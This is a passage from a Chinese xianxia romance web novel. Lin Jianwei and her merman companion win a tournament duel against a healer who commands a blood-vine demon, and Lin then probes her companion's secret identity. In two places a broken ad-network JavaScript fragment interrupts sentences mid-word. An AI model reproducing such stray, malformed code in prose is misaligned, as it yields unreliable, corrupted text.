左右是群山环抱,正前方,向下俯瞰山脚,只看得见长长一条不知尽头的石阶,千级万级,蜿蜒如青翠的丛林中。 再远处,是阁楼万千,星星点点缀在一片青绿之中,云遮雾绕,如临仙境,一砖一瓦都金碧辉煌,气派非凡。 而这高楼正下方。 人头攒动,修士各个身影匆匆,似一阵疾风般往来,在宽阔无边的广场上用法器和灵力搭建起高台,空中亦悬浮了无数小阁楼,方便长老端坐其中观战。 擂台渐渐成型。 林见微心里忐忑起来,额头上不由沁出薄汗。 她早就知道这三月一次的大考核是上擂台与人比试,胜负直接便能见分晓,但想想是一回事,真刀真枪与人斗法又是另一回事了…… 而且……以她的实力…… 真的不是上去丢脸吗? 想着,她目光不由看向站在身边的常潮生,与她真是好一对难兄难弟。 “现在知道紧张了?”林戈的声音带着点幸灾乐祸,特意掐诀隔断开了旁人耳目,以免毁了自己作为林氏少家主的形象。 林见微眼神一亮,似乎想到什么,立马兴冲冲提议,“我能不能现在就去跟长老说要闭关修炼!” 修士闭关,短则几个月,长则好几年,几十年,无人打扰,自然就不用参加什么考核。 “呵。”林戈嗤笑一声,“你想闭关多久?三天吗?” 说着,抬手戳了戳她的脑门,“没有辟谷就想着闭关,你以为长老这么好糊弄?” 林见微撇撇嘴,神色恹恹。 “放心吧,长老们心里都有数,上台切磋的两个弟子修为差距不大,不会让你输得太难看。” “真的?”林见微扬眉,眸中秋波一寸,似有明珠千斛,“那要是我输了罗长老会不会……” “好了!”林戈忙打断她的话,满脸无奈,“若是输了你当心被逐出师门,能不能有点骨气?就不能想着赢。” 林见微默默闭麦。 琼楼高百尺,回廊婉转。 正是兄妹二人聊天的空隙,身后传来阵阵说话声。 “参见家主,夫人,参见二小姐。” 凭栏而望远的几人忙转过身去,恰见林续,王添羽二人相携而来,身边还跟着林扶摇,林氏家主,这玉山一脉权力的中心,几乎聚齐了。 “爹,娘,二妹。”林戈躬身行礼。 林见微也跟着打过招呼。 楼高风急,今日林扶摇一身水蓝色衣裳,乍一看素净清雅,低调至极,但用料金贵,冰蚕吐丝织成锦,暗纹繁复,裙袂摇曳时如青莲初绽,端得是冰肌玉骨,不染尘埃。 秋水为神玉为骨,一双瞳人剪秋水。 “你们兄妹二人倒是熟络不少。”王添羽眸中含笑,一张脸年轻得过分,但眉宇之间却有独属于上位者的威严,沉沉的,恰似寂寥深林中传出的阵阵古寺钟声。 “是。”林戈不动声色上前半步,挡去林见微半个身子,呈一种类似于保护的姿态,面上却笑得恭顺,“作为大哥,理应照拂小妹一二。” 无言对峙。 林见微也隐隐觉察出不对,正是一头雾水时,林续出言打破这微妙的氛围,“他们兄妹失散多年,亲近一些也正常。” “比试快开始了,今日为父与你娘都推了族中事务前来观摩,你们可要好好表现。”话落,他目光扫过三个儿女,最终停留在林扶摇身上,深深一眼。 “女儿知道了。”林扶摇不疾不徐,盈盈一拜,面上滴水不漏。 林见微也跟着林戈点头应下。 心里却犯嘀咕。 这林家五口人,除了她之外,到底在打什么眉眼官司? 剧情里的这一段也没这些情节,就是原主作妖,不仅言语挤兑林扶摇,还想在她的比试中做手脚,最终当然没有成功,危机被林扶摇巧妙化解,原主也在林父、林母和哥哥面前狠狠败了一波好感。 最后,林扶摇主动站出来表示谅解,立住了一个实力不俗,但大度从容,遗世独立的人设,引得众人狠狠怜爱。 可现在这是…… 王添羽貌似跟林戈有点不对劲?林续对林扶摇也态度奇怪? 那她算什么?局外人? …… 琼楼玉宇之下,擂台已搭建成型。 林见微心不在焉,默默拉着常潮生退到一边,眼见着,仙人衣袂如风,翩然而来,空中悬浮的精巧楼阁一一落座满人,侍从也上前来引着林续和王添羽入座。 林见微三兄妹因一会儿有比试,各自带上伴读由侍从引着一同下楼去。 “小妹,一会儿不必担心,输了也不丢人。”林戈颇为不放心。 弟子比试时的确会匹配水平差不多的对手,但偏偏林见微选的这个伴读…… 天阁中非身世显赫者没有资格占一个伴读名额,逢此等比试,为保公平,可以与另一个弟子商量,结成搭档,共同参加。 也不知跟林见微对上的那人选的搭档或者伴读是个什么水平,只怕今日林见微和常潮生上台,还是要吃些苦头。 “哥,你方才不是还说让我想着赢吗?”林见微笑看向她,神色揶揄。 林戈深呼吸一口气,面上不恁,冷冷瞥向常潮生,“你若是能选个厉害的伴读,为兄也不必替你操心。” 他这三个月着实物色了不少合适的人选,好些都是他的心腹,实力不俗,天赋卓然,就连样貌也不差,偏偏林见微一根筋,说什么不肯换人,他也不好强迫。 林见微闻言面上讪讪,生怕林戈又要给她塞人,忙笑着打岔,“话不能这么说,我若是被伴读护着,那多没面子,说不定是我护着他呢。” “是吧?”林见微搭上常潮生肩膀,俩人一副哥俩好的模样,“放心,待会儿打架的时候你就退至我身后,看我发挥!” 林戈在心里默默翻了个白眼,脚下生风,一溜烟就与林见微岔开了路,带着伴读快速离开,多待一秒都怕自己会被气到心梗。 “好,看你发挥。”常潮生掀起眼眸看她,微风起时撩起脸侧青丝几许,恰好遮去了潋滟眸光,水波动荡。 “哈哈哈……其实吧,你也可以发挥一下……”林见微讪讪,偷偷摸摸将搭在常潮生肩上的手收回,豪言壮志已经说出口去,心里却七上八下。 须臾。 侍从引着两人到了擂台之外候场。 脚下是白玉砖,天上是仙人楼。 两人肩靠着肩,身边修士往来,摩肩接踵,林见微仰头便能见空中楼阁,天上宫阙,仙鹤衔祥云而来,金纱帷帐,大气恢弘。 “常潮生,什么时候轮到咱们?” “马上。” “啊?”林见微闻言差点跳起来,引得周围修士纷纷侧目。 常潮生忍俊不禁,这一笑,白茫茫一片积雪的眸中刹那间冰消雪融,目若朗星,抬手抚上她脊背,声线如春水迢迢,“一次小比试而已,不必担心,万事有我。” “真的?”林见微斜他一眼,脸上明晃晃写着“我不信”三个大字。 毕竟,如今常潮生的实力也不强,左右今天两个人都要在台上挨打出丑,本着一荣俱荣,一损俱损的原则,她哪能让常潮生一人当沙包。 心一横,冲了! “咚——咚——” 擂鼓声起来,四座寂静。 林见微不由屏住呼吸,周遭弟子已列成方阵站好,九天之上,有长剑与层云齐平,衣着各异的修士抱臂而立,静静俯瞰下方盛景。 “第一轮,林见微,常潮生,对战纪青!”长老话音落,擂台边上的鼓声愈发急促,一声叩一声,声声似催命的符咒。 站在两人周围的弟子自觉向道路两旁避开,目光纷至沓来,或戏谑或好奇或漠然,构筑起天罗地网,扑面而来时如缤纷的万花筒一般。 “走吧。”常潮生侧眸看她,强行将神游天外的人拉回现实,“纪青身怀木灵根,修医道,却选择独身一人应战……” 林见微轻点头,秀眉蹙起,缓步向前。 这种比试,大部分修士都会选择与人组队,纪青主修医道,更不该独自上台应战,莫非她有旁的方法?用毒吗? 少女心思千回百转,思忖间已登上高台。 常潮生紧随其后,长风起时,青袍如许,缓袖如云,明明修为不高,但单单只是往那儿一站,便似有千万风流,千秋风骨。 两人刚一站定。 对面亦缓缓步上来一人。 女修一身红衣烈烈,交领处露出玄色里衬的边,黑红交杂中更显那一张脸英气逼人,窄袖束腰,勾勒出身姿如一柄出鞘的利剑,寒光四射,完完全全颠覆了林见微对医修的刻板印象,整个人简直比剑修还像剑修! “三小姐,承让了。”纪青略一拱手,掀起眼帘看她,眉梢上挑时无端生出三分邪气。 “承让。”林见微回礼,刚直起身,手腕一翻,灵剑落于掌中,提剑便朝人逼近,纪青神色微变,只一道暗红色残影掠过眼前,人已经闪身避到远处。 常潮生携剑而来,呼吸之间迫至女修跟前,林见微紧随其后,两人配合默契,出剑利落,气势如虹,纪青以一对二,连武器也没有亮出来,而是掐诀抵挡,节节败退,引得台下众人议论纷纷。 “这医修怎地独自上场?” “长老居然也能应允?” “修为也没高到哪儿去……何必逞强?” “……” “以一敌二,毫无胜算啊!” 人群里议论声更嘈杂,更有甚者嚷着以多欺少之类的话,喝者倒彩,撺掇纪青不如直接认输来的干脆,免得众人浪费众人的时间,他们都还等着看过这前面的小打小闹,欲一览后面天骄们的风采。 纪青面色一寒,再抬眸时神色已带上三分决绝,林见微心头一跳,隐隐有不安,顷刻间停下攻击的势头,下意识向常潮生望去,恰对上男子一双清亮眼眸。 两人对视一眼,决定速战速决。 两道刺眼的剑光挟如刃般锋利的灵力刺来,这一次,纪青不闪不避,双手快速结成法印,悍然受下这一击,下一刻,一抹绿色的影子直直砸向二人面门! 林见微恍惚于风中闻到熟悉的气味,心头骇然,闪身拽着常潮生便躲避到擂台边缘,定睛一看,便见到让她头皮发麻的一幕。 是血藤妖! “你怎么了?”常潮生敏锐感知到林见微脊背僵硬,仿佛被一种近乎于本能的恐惧所笼罩。 而擂台中心,藤妖如火一般见风就长,刹那间竖立起高墙,枝叶蔓延,相互交错,落在林见微眼里便是几乎要扭曲成一个可怖狰狞的模样,仿佛下一刻便要如潮水汹涌而来。 让她寂寂死在那个月亮被乌云遮蔽的夜晚。 “藤蔓有毒,别被打伤了!” 语罢,林见微心神归位,眉宇之间染上戾气,手中长剑噗呲一声燃起烈火,大风起时,少女衣袂烈烈作响,似与焰火同鸣,刹那间便只见一道残影冲入汹涌的深碧波涛中。 台下人群轰然。 修士中有人修习御兽之道,便是驱策妖兽与之并肩作战,可如今台上这情况……汹涌灵力灌进血藤妖体内,那妖物丝毫不伤纪青,而是任由其驱策。 条条藤蔓似长鞭挥出,破空袭来,荡出阵阵令人胆寒的嗡鸣,足见其力道之大,若是抽在身上,只怕不好受。 常潮生心头一紧,忙追上前去。 倏忽间,两人被藤蔓织出的天罗地网覆盖,身处其中,连光线都暗淡下来,只剩手中一柄长剑闪烁着不灭的火光,林见微不住十指发颤,脸色更白几分。 “只是一场比试,别怕。” 常潮生攥住她手腕,熟门熟路朝她体内渡入一抹灵力,长剑一挥,划出一道火圈,暂时挡去藤蔓的袭击。 而擂台之外,人声更沸腾。 被困其中的两人已彻底不见身影,只看得见如墙矗立的藤蔓根根滑动,如阴狠的毒蛇,柔软的枝条罗织得密不透风,但偶尔也能于枝叶空隙处窥见一抹火光跳动。 林戈眉头紧锁,目光紧紧追着藤蔓空隙间那闪烁跳动的火光,但在场无一长老发声,他也只能按捺住心底的冲动。 “常潮生,我们一起冲出去!” 林见微眸光一闪,已彻底冷静下来,这一只血藤妖的实力比不得上辈子杀死她的那一只…… “好。” 话音落,浑厚灵力汹涌没入林见微体内,有常潮生的妖力加持,少女双手结印,长剑脱手而出,于空中划出一道火墙,熊熊烈火冲天而起 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,硬生生破开一道口子,两人身影矫健,趁势抽身,堪堪落到擂台边缘。 剑之所指处烈火燎原。 那藤妖吃痛,意欲退避,纪青寒了脸色,欺身而上,指尖快速飞出无数流光,一道道没入妖物体内,霎时间,那些烧焦干枯的藤蔓死而复生,还似雨后春笋一般疯狂冒头,长出新芽。 “藤妖嗜血肉,你这是在与虎谋皮!” “妖兽养得,藤妖为何养不得?” 林见微闻言一怔,心底暗骂一声。 当着众人的面知晓说不动她,便歇了这份心思,侧头看身边人一眼,常潮生只微微点头,指尖绕着淡蓝色云雾,几乎要榨干体内最后一丝灵力,紧紧缠绕在林见微身侧。 藤蔓破空袭来—— 被火舌缭绕的长剑重新落入掌中,林见微挥退妖藤,拽着常潮生落到另一侧空地上,下一刻,狂风四起,青天白日却凭空飘来一片雷云,引得天上的修士忙不迭侧身避让。 电光闪烁中,灵剑脱手,直插云霄,林见微双目轻阖,双手结成咒印,刹那间,脚下印出纹路,光芒盛大,照得少女身形纤毫毕现。 “九天玄刹,化为神雷,煌煌天威,听我号令——” “轰——” 惊雷应声劈下,剑锋所指处一片焦黑,强劲的风阻断藤蔓蔓延,便作囚笼将其牢牢拘禁,闪电如雨落下,带起天火,噼里啪啦围成一圈,将作乱的疼藤蔓烧了个一干二净。 台下众人不由屏住呼吸。 纪青目露惊愕,下一刻,林见微撑着一口气欺身而上,身影掠过重重电光,似游荡于山林中的鬼魅,一柄长剑直直架在她脖颈上。 胜负已见分晓。 常潮生却望着头顶一片雷云,怔在原地半晌没有反应,面上神情一片风云晦暗。 林见微先前所用的法诀和咒术,似乎有妖族的影子……不完全是玉山林氏一脉的功法。南海鲛人族……除了自己,她还接触过谁呢? “第一轮,林见微,常潮生,胜。”长老的声音拉回他的思绪,擂鼓声又响起,沉寂的人声重新沸腾起来。 “居然引来了雷云?” “这是什么术法?” “不知道,不像林氏的术法……” “……” 林见微顺势收了剑,浑身脱力,脚下一个踉跄,常潮生闪身上前,稳稳将人扶住,耳畔,少女呼吸紊乱,体内灵力是丝毫没有剩下,差点就能背过气去。 “没事吧?” “没事。”林见微冷眼看向因脱力跌坐在地的纪青,“血藤妖终究与妖兽不同,难以豢养,更难控制,执迷不悟,当心遭到反噬,为祸一方!” 她不知道前世方寸山上那只血藤妖与今日被她绞杀这一只有无干系,与纪青有无干系,只是到底心中郁气难平。 未等纪青回应,眼见着第二轮将要比试的修士即将上台,常潮生压下心头疑云,扶着少女步步走下高台,“走吧。” 林见微轻轻点头,血藤妖能不能养,今日之后子自有长老定夺。 下了擂台,两人都没有留下观战的兴致,穿过人群便回到那金玉堆砌的楼宇中,刚一入内,身后有脚步声急匆匆追来。 “三小姐,少家主脱不开身,特意让在下将丹药送来。” “多谢。”林见微接过丹药,匆忙服下一粒。 常潮生随意寻了一个无人的静室,扶着她在蒲团上坐下。 “喏,你也吃一粒。”林见微盘腿而坐,看不得常潮生愁眉不展的样子,倒出一粒丹药便送到人唇边。 谁知他迟迟未张口,指尖隐隐有温热的触感,朱红的唇,白玉的手,呼吸喷洒之间无端生出些许旖旎和暧昧,搅得林见微心神一荡,乱了一池春水。 常潮生终是抬手接过了丹药,拈于指尖辗转,心波荡漾中垂眸掩去万千情愫,只睫毛似小黑扇子一般映在白玉般的脸庞上,勾勒出三分教人难以捉摸的疏离。 “你……是不是有什么话想说?”林见微凑得更近些,几乎是伏下身子,贴上去,仰起一张素白的脸,满脸探究,非要将他脸上的情绪看个分明不可。 “没有。” “真的没有?”林见微目光不由被那一张一合的唇瓣紧紧攫住,淡淡的粉色,似初绽的莲花,唇线分明,给人一种干净又柔软的感觉。 “……” “真的没有吗?”她仍旧不死心,目光一寸一寸流连过眉眼到鼻翼,也不知道到底是想探究真相,还是单纯控制不住地想欣赏眼前美景昳丽。 常潮生撑不住先败下阵来。 “方才,你引来雷云,用的是什么招数?” “引雷诀。”林见微不假思索。 “谁教你的?”常潮生紧追其后。 只此一句,攻守之势异也。 这次换林见微哑口无言,悻悻移开目光,尴尬摸了摸鼻子,正想装作若无其事稍稍往后退些,好与人拉开距离,不料常潮生抬手揽住她双臂,断绝了她的后路。 “怎么了?不能说?”他定定瞧着她一张丝毫不会掩饰情绪的脸,露骨的心虚都快从那一双清亮的眸子溢出来。 “怎么会?能说能说……”林见微面上讪讪,忙不迭拂去他箍在自己双手上的手,轻咳两声,“就是……不太好说。” “那就,从头慢慢说。” 明明是上扬的尾音,林见微却感觉周遭空气都凝滞几分,被这么一双黑压压的眸子锁定,她竟无端生出些猎物被于暗中蛰伏的猎手盯上的荒谬错觉。 “说,当然能说。”林见微坐直身,“教我这个法术的人……他很厉害,懂很多东西,应该也去过不少地方,而且还很神秘……” 常潮生眉心一跳,不想听她打哑谜,“他是谁?” 这一问可把林见微给难住了,她可没办法解释如今的自己,什么时候居然抽空跟一个不愿透露名字的陌生人相处过,只能结结巴巴开口,“这不能告诉你……” 常潮生渐渐有些沉不住气,呼吸都粗重几分,“他也是鲛人?” “什么?”林见微猛然抬眸,音量不自觉拔高,“他也是鲛人?你怎么知道的?我今天用的法诀是鲛人族才会的吗?” 很快她便想通了原委,甚至自顾自分析起来,眉飞色舞,难掩心底的激动,“难怪我从一开始就觉得你的眼睛跟他简直长得一模一样!说不定你是他的亲戚呢!” “啊,不——”话一出口,林见微飞快意识到自己说错了话,连忙捂住嘴,小心瞥了眼对面男子的脸色。 常潮生的亲戚,那不就是常潮生的仇人吗?她这是哪壶不开提哪壶! 旺财经脉尽断,被折磨得不成人样,又被人贩子卖到永夜城,不会跟原主一样,也是眼前这大反派的手笔吧! 跟她真是同病相怜! 思及此,她连忙挪动屁股下的蒲团,离常潮生更远一些。 看来还是要跟这大反派保持距离……她是不会抛下旺财的! 不料,常潮生一把攥住她向后缩的脚腕,欺身而上,阴影投下来,几乎将她尽数笼罩,直直撞入一双黑沉沉的眸中,“他到底是谁?” 25. 惨,太惨了 “我不知道!”林见微心底陡然一惊,登时浑身寒毛直竖,裙摆铺散一地,她一把将人推开,抽出脚腕,手忙脚乱提着裙裾站起身,一溜烟便跑到了静室外。 厚重的门嘭一声合上。 满室寂静。 莲花印蒲团静静躺在原地,窗外一缕阳光映照上金色绣线上,绽开的莲花栩栩如生,仿若活物。 常潮生抬手抚平衣襟上被林见微那慌乱一推中弄出的褶皱,缓缓站起身,面上神情却尤其平静,仿若大雪过后的泥泞路,腐烂的污泥被尽数掩盖,只剩下白茫茫的一片,似隔着一层薄纱,令人瞧不真切。 旋即,只听人低笑一声,身影一晃,人已不在静室中。 只剩下香炉中袅袅白烟缓缓向上,满室的清幽冷寂。 …… 林见微匆忙跑出静室,心跳飞快。 也不知是被大反派突然发疯吓到,还是乍然间得知旺财的来历,心底压抑不住的兴奋。 上辈子,旺财防她跟防贼一样,两人天天同住一个屋檐下,还这不肯说,那不能问,一问就跟她生闷气,这辈子,她一定要提前扒了他的马甲!看看他到底有什么好藏的! 想着,她完全将常潮生抛到脑后,随手理了理稍显凌乱的发髻,也顾不得体内灵力枯竭,提起裙摆便风风火火跑上楼去,一路打听,憋着一口气跑上十楼,终于找到了在小屏风后面坐着品茶观战的林戈。 “少家主……三小姐来……”上前禀告的修士话还未说完,林见微已一手扶着屏风,一手拍着胸口给自己顺气,气喘吁吁,探出脑袋往林戈的方向瞧。 坐在屏风后的几人便瞧见他一双眼睛亮晶晶的,滴溜溜转,一看便知道来意不简单。 “三小姐来找。”那修士说完话剩下的半句话便默默站到一边,将林见微放进去。 “快来坐这儿。”林戈见她这副半死不活但又活灵活现的样子赶忙招手让她进来,“刚比试完不好好休息,跑这么急上来做什么?那鲛人怎么也没跟着你?” 林见微端起桌上的茶水咕嘟咕嘟灌下两口,喘匀了气儿才摆摆手道,“先不说他,我有重要的事……” “你能有什么重要的事?是藤妖的事?”林戈端起茶杯的手一顿,记起林见微方才在擂台上说的话。 同桌的另外两人也来了兴致,目光逡巡后静待后文。 “不是不是。”她忙摆手,“你刚刚有没有看清我在台上用的招数?就是引来雷云的那一个。” 林戈一头雾水,看她扬起脸神色认真的模样,便顺着她的话应下,“看清了。” “那你觉得,那个法术……是什么来历?” 林戈闻言轻笑出声,神色戏谑又欠揍,“怎么?以你这半吊子的水平,还想来考考我?” 另外两名林戈的心腹闻言也跟着笑起来,忍俊不禁,“少家主年少成名,打遍浮生岛,在九州四海中都名声大噪,出入秘境,与人切磋比试不少,什么招式没见过?” “那你快说,快说!”林见微翘首以盼,身子微微前倾,做出一副洗耳恭听,虚心求教的模样。 林戈抬起手,掌心向下,手掌滑过茶杯杯口,只见那清亮淡香的茶水随着灵力牵引缓缓浮现于空中,拉成晶莹的丝,勾勒出熟悉的法印图案,悬于茶案上空,光芒荧荧。 竟是将林见微先前使用的招数复刻了一遍! “从法印来看,有我林氏一脉的痕迹,却不全然……”林戈掀起眼帘看她,露出了然的神色,“南海妖族的功法……想必是你身边那个鲛人教授你的吧?” 林见微眼前一亮,“你是说这个引雷决既有玉山林氏一脉的影子,也有鲛人海妖族的特点?是一个在幻剑阁修行过的鲛人自创的?” “不然呢?”林戈手掌一翻,悬空的茶水一滴不洒重新落入杯中,水波潋滟,“你不必变着法子到我跟前来给那个鲛人说好话,不过一个法诀而已,我林氏不差那些,改换伴读一事……” “不不不!”林见微连忙打断他的唠叨,“不是他教的!是我正好想找自创这个法诀的人!你知道幻剑阁中还有别的鲛人吗?” 话音刚落,屏风外便传来白衣修士的禀告声,“三小姐的伴读来……” 众人循声看过去,常潮生站在屏风边上,一身青袍,身姿如松如竹,静静瞧着围桌而坐的四人,略一拱手,算是行礼。 林见微心底没由来有些心虚,不知他听到了多少,匆忙移开目光,看天看地就是不敢看他,“你,你怎么来了?” “三小姐独自上楼,常某作为伴读自然要上来看看。”常潮生不急不徐,语调缓缓,脚步停在屏风边上,似乎在等林见微给一个合理的解释。 楼外天光明亮,华丽无匹的屏风上花纹交叠,在他半侧脸上投下深浅交错的阴影,那极晦暗处,似蛰伏了某种不可言说的怪物。 “如今你也看到了,快退下吧。”林戈眸中划过一抹精光,似乎嫌场面不够乱,反手又添上一把火,“认清自己的身份,可别耽误了小妹找别的鲛人。” “哥,你!”林见微只觉头皮发麻,急得想捂他的嘴。 林戈自然不会如她所愿,摁住她扑上来的手,反手一挥,那面由四小扇绣面曲折排立的屏风啪一下子抻直,逼得常潮生后退一步,彻底隔断开两边人的视线。 高楼下传来阵阵喝彩,林见微感觉自己是被架在火上烤,屏风后人影绰绰,碧绿的丛竹更衬得人清朗独绝,世无其二。 “好了,好了。”林戈松开手,明明是丰神俊朗一个人,愣是因脸上那藏不住的幸灾乐祸折损七分逼人的冷意,双眸一弯,就知道憋了一肚子坏水,“你不是还要打听鲛人的事?看上了谁便直接跟我说,不管在谁手上,哥都能帮你将人弄来。” 他早看常潮生不顺眼,若不是小妹喜欢,都懒得多余分给人一个眼神,眼见着如今小妹要腻了他,他自然乐见其成,甚至上赶着推波助澜。 “啊?”林见微闻言只觉天都塌了…… 原来旺财曾经居然可怜到卖.身求生的地步!难怪不愿向她透露身份,也不肯 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 修复容貌!一定是怕她“恢复记忆”后将他认出来,会看不起他! 真是该死的自尊心! 惨,太惨了! 合理,太合理了! 而屏风后,绰绰人影已消散无踪。 一回头发现大反派走了,林见微头都大了,直觉不妙,还没从旺财曾流落风尘的震惊中回过神,便忙不迭起身,想追过去给人哄哄。 林戈抬手想拦住她,没拦住,只看得见一片匆匆而去的裙摆,惹得身边左右两个修士忍俊不禁,“林兄,令妹着实多情,有意找新欢也没冷落了旧爱。” 林见微当然听到了这句打趣,面上神色精彩纷呈,但也是没功夫理会了。 “好了好了,看看台上的比试,晚些时候该到扶摇了。”林戈揉揉突突直跳的太阳穴,岔开话题,他这个妹妹还真是…… 实力不强,但脾气跟头倔驴一样,完全不听人安排,做事又随心所欲,风风火火,也不知在这暗流涌动的林家……能不能待得长久。 另一边。 林见微匆匆跑出房间,本以为要费好一番功夫才能找到人,埋着头便向前冲,谁知一出门便在门口与大反派撞了个满怀。 “嘶——”林见微吃痛,揉着额头抬眼看去,一脸惊愕,“你没走啊?” 说着,连忙抬手摁着他胸口揉了揉,面上讪讪,生怕自己给人撞疼了,“刚刚没看路,你没事吧……” 常潮生一把攥住在自己胸膛上作乱的手,嗓音喑哑,似冰河下暗流翻涌,幽咽难明,“没事。” 那一双秋水似的眸子里依旧白茫茫一片,恰似苍山负雪。 林见微欲将手抽出来,一下,没挣脱,常潮生指节用力,骨头与经脉似呈现出一种诡异的僵硬和迟滞,直到少女额上冒出薄汗。骤然间松开。 她如蒙大赦。 林见微此时倒也不怕常潮生对自己做什么了,毕竟这长长的宽阔廊道上时不时有人往来,她自己又是林家三小姐,顿时腰杆都挺直了。 “刚刚的话……” “三小姐。” 两人异口同声。 常潮生垂眸看她,双手垂落身侧,掌心似乎还残留了些旖旎的余温,将散未散,便背着手,下意识攥紧了掌心,眸光淡淡,一副云淡风轻的模样。 林见微连忙噤声,仰起脸仔细想从他神情里找出端倪,却一无所获。 “你生气啦?” “没有。” “真的没有?”她眯了眯眼。 “……” 林见微收回目光,撇撇嘴,都叫她“三小姐”了,称呼得这么生分,还说自己没生气,真是嘴比钻石都硬。 “好吧好吧,你没生气。”林见微顺着他的话哄,“但咱们常大伴读一向心思明澈,洞若观火,肯定会听我解释的吧?” 常潮生依旧不答。 少女上前自顾自挽住他的手臂,一边与人并排沿着回廊向前走,一边开口,“别听我哥乱说,我是想找到那个人,但我们之前的约定还作数!” 26. 徐徐图之 “你放心,在你没变强之前,我是绝对不会……”换伴读的。 后半句话还没说出口,常潮生彻底冷了脸色,猛然从她怀中抽出手臂,身影一闪,便如烟一般消散于长长回廊中,只留下旁人的匆匆脚步声,更显空荡寂寥。 “唉,你别走啊!”林见微一跺脚,抬步想追上去,只扑了个空。 “搞什么……脾气这么大!”她嘟哝两句,此刻身边没了人,灵力亦没有恢复,方才又折腾一番,忽然便觉身心俱疲。 沉沉呼出一口气,找了个管事的弟子,引着自己到早就准备好的隔间休息,顺道观摩擂台上的比试。 唉。 少女倚着栏杆向外张望。 仲夏时节,隐隐已有暑气蒸腾,但这偌大的幻剑阁为灵力笼罩,有结界相护,便多添几分寒意。风吹来,吹得她发髻上的流苏微微招摇,青丝如瀑,是俏生生的美。 擂台上响声不断,兵戈相撞,各式法诀炸开成流光,如烟花般绚烂,转瞬即逝,却破开气流,甚至逼得近前的修士不住后退。 唉。 少女眉头蹙起。 旺财的事还没有着落,如今也不知道在这玉山林家一脉中委身于谁,大反派又莫名其妙生气了……真是难哄。 她虽是林续的亲女,但到底没回来多长时间,修为和天赋俱不如人,本就没几个人将她放在眼里,暗地里等着看她笑话的人倒是不少,她也不爱与那些拜高踩低的势力小人往来…… 这玉山这么大,幻剑阁修士众多,她要去哪儿打听啊? 退一步,就算真找到了旺财,她总不能把手伸到别人的后院里去吧? 若是真让林戈出面帮她抢人……那场面她都不敢想。老实低调了一辈子,真要来这么一遭,色令智昏,沉迷美色的帽子得焊死在她头上! …… 窗外日光弹指过,席间花影坐前移。 擂台上的比赛虽然精彩,但她实在是看得昏昏欲睡,脑子里思绪乱糟糟的,一会儿想找到旺财,一会儿又怕找到旺财。还没想清楚呢,肚子先咕咕叫起来,一眨眼,居然已到了午后。 林见微如霜打了的茄子一般,慢悠悠取下腰间的储物袋。 打开。 完了。 吃食全放常潮生那儿了。 回头一看,檀木案几上只摆了一壶灵茶,一点零嘴也没有,到而今茶水也凉了,紫砂壶上连热气也不冒,让人一看就没有喝两口的欲.望。 该死的修士!一天天的只知道修炼修炼!喝茶喝茶!茶能当饭吃吗?一点也不知道享受享受生活! 林见微越想越气,猛地站起身,活脱脱像一只发怒的河豚,不料,屏风后忽然传来规律的脚步声,轻且浅,她侧身望过去,下一刻,常潮生便出现在眼前。 “唉?你回来了?”她顿时将那无名而起的怒火抛到脑后,眉梢重新染上喜色。 常潮生面色不显,兀自走到案几前,将冷掉的茶水放到一边,又从储物袋中取出食盒,一一将饭菜摆好,这才应声,“来吃饭吧。” 林见微咽了咽口水,忙不迭提起裙摆跪坐到案几前,“你……刚刚去哪儿了?” “外面。” “哦。” 林见微干巴巴回应,先捧着灵果啃起来,常潮生动作熟稔,将盛好的饭的放到林见微面前,又添了一碗汤,“先吃饭。” “好。” 两人相对无言,只有碗筷碰撞声。 饭菜还是那个饭菜,但怎么吃怎么不对劲,林见微瞧着常潮生那一张冷脸,莫名生出些做贼心虚的感觉,不住一个劲往他碗里夹菜,只差没堆起来一座小山。 终于,她按捺不住先开口,“多吃一点,你这做饭的手艺真是越来越好了……还有这鱼做得不错,鲛人应该都喜欢吃鱼的吧,你多吃一点……” “这是河里的鱼。”常潮生放下筷子,不再管碗里堆积起来的小山。 “啊?”林见微干笑两声,“淡水鱼也是鱼……” “怎么?你想找的那个鲛人很喜欢吃鱼?” “还,还好吧……” 常潮生看她一副认真回忆往昔的模样,单手托着腮,另一只手用筷子挑着碗里的菜,漫不经心,心底的无名火越烧越旺,又愣生生忍下来,便听人接着说,“但他厨艺没你好!一进厨房就把自己弄伤……” “废物。” “哎!你怎么这么说?嘴跟他一样毒!” 林见微闻言一下子支棱起来,正想借此唠叨两句好缓和气氛,栏杆之外却传来阵阵热闹的起哄声,声浪一浪高过一浪,只差没把这楼宇掀翻。 她忙站起身,伸着脑袋去看外面的热闹。 原来是到林扶摇上场了。 众修士纷纷议论声,不绝于耳。 “听说仙子前段时间已将渡业剑诀练至四重境,今日终于能一览其风采了。” “那是自然。” “极品冰灵根,天赋可是丝毫不输少家主。” “再等会儿不就能看到少家主上场了?” “你们说何时也让他们兄妹二人比一场,就是不知谁胜谁负了。” “……” 而擂台上。 林扶摇肃然而立,换了身衣裳,依旧是素色,却抛去了宽袖华服,窄袖戎装更显她身姿挺拔,眉眼舒展,却不是往日的清冷大气,更带三分铮铮尖刻,不像初绽的青莲,更像是雪山上化不开的万年寒冰。 林见微不由看得痴了。 脑子里有什么东西一闪而逝。 她依稀记得,林扶摇在剧情里的人设是……善良,不争不抢,落落大方,但是机敏聪慧,能在化险为夷的同时惹得众人怜爱……总之,不似这般尖锐孤绝,仿佛有弥天的野心和战意,只差着东风送上一把火,便能将她彻底点燃。 擂鼓声停下,长老退至一边。 台上二人兵刃相接。 林见微放缓了呼吸,台上两人打得酣畅淋漓,一招一式迅捷如风,她根本看不清,却又令她不住头晕目眩,神魂迷乱,直到常潮生走到身边弄出些响动,才将她的思绪拉回来。 “吃饱了吗?” “饱了。” 常潮生一看她那呆滞的神情,显然沉迷于擂台上比赛,就知道她还没饱,塞了一颗灵果到她手中,这才转身想去收拾桌上的碗筷。 “哎,你等等。”林见微忙扯住他的袖子,却不看他,而是看着楼下。 常潮生顺着她的目光看过去,台上,林扶摇正与人缠斗在一起,剑招大开大合,气贯长虹,身姿却矫若游龙,灵巧又不失大气,隐隐可见已占上风。 “怎么了?” “其实吧……”林见微松开手,“刚刚在外面,我的话还没说完你就走了。” “我就是想说,不管我能不能找到他,在你没变强之前,约定都还作数,我不会换伴读的,你能一直在天阁修炼。” 林见微垂下眸,若有所思。 